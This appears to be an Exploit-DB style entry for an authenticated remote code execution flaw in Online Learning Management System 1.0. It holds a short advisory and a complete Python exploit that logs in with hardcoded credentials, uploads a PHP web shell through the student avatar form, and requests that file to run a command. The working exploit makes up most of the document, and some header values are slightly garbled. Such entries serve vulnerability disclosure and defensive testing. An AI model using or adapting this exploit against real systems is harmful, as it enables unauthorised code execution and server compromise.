Online Learning Management System 1.0 - RCE (Authenticated)

vendor:

Online Learning Management System

by:

Bedri Sertkaya

9.8

CVSS

HIGH

Remote Code Execution

CWE

Product Name: Online Learning Management System

Affected Version From: 1.0

Affected Version To: 1.0

Patch Exists: NO

Related CWE: N/A

CPE: a:sourcecodester:online_learning_management_system

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 10 / WAMP Server

2021

Online Learning Management System 1.0 – RCE (Authenticated)

An authenticated remote code execution vulnerability exists in Online Learning Management System 1.0. An attacker can exploit this vulnerability by sending a specially crafted HTTP request to the vulnerable application. This can allow the attacker to execute arbitrary code on the target system.

Mitigation:

The vendor should patch the vulnerability by implementing proper input validation and authentication checks.

Source

Exploit-DB raw data:

# Exploit Title: Online Learning Management System 1.0 - RCE (Authenticated)
# Date: 01.01.2021
# Exploit Author: Bedri Sertkaya
# Vendor Homepage: https://www.sourcecodester.com/php/7339/learning-management-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=7339&title=Online+Learning+Management+System+using+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested on: Windows 10 / WAMP Server

import requests

cmd = "start cmd.exe" # Command to execute
target = "http://192.168.1.101/lms" #
username = "21100867"
password = "heni"
# Login and get session_cookie
url = target+"/login.php"
headers = {"Accept": "*/*", "X-Requested-With": "XMLHttpRequest", "User-A=gent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML=, like Gecko) Chrome/87.0.4280.88 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "Origin": "http://192.168.1.10=1", "Referer": "http://192.168.1.101/lms/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
data = {"username": username, "password": password}
s = requests.post(url, headers=headers, data=data)
session_cookie = s.cookies.get_dict()

# Upload Shell
burp0_url = target+"/student_avatar.php"
burp0_cookies = session_cookie
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://192.168.1.101", "Content-Type": "multipart/form-data; boundary----WebKitFormBoundarybHBgGwgOFblz5IgL", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0=.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://192.168.1.101/lms/student_notification.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
burp0_data = "------WebKitFormBoundarybHBgGwgOFblz5IgL\r\nContent-Disposition: form-data; name=\"image\"; filename=\"exploit.php\"\r\nContent-Type: application/octet-stream\r\n\r\n<?php\r\nshell_exec('"+cmd+"');\r\n------WebKitFormBoundarybHBgGwgOFblz5IgL\r\nContent-Disposition: form-data; name=\"change\"\r\n\r\n\r\n------WebKitFormBoundarybHBgGwgOFblz5IgL--\r\n"
requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)

# Trigger exploit
trigger_url = "http://192.168.1.101:80/lms/admin/uploads/exploit.php"
trigger_cookies = session_cookie
requests.get(trigger_url, cookies=trigger_cookies)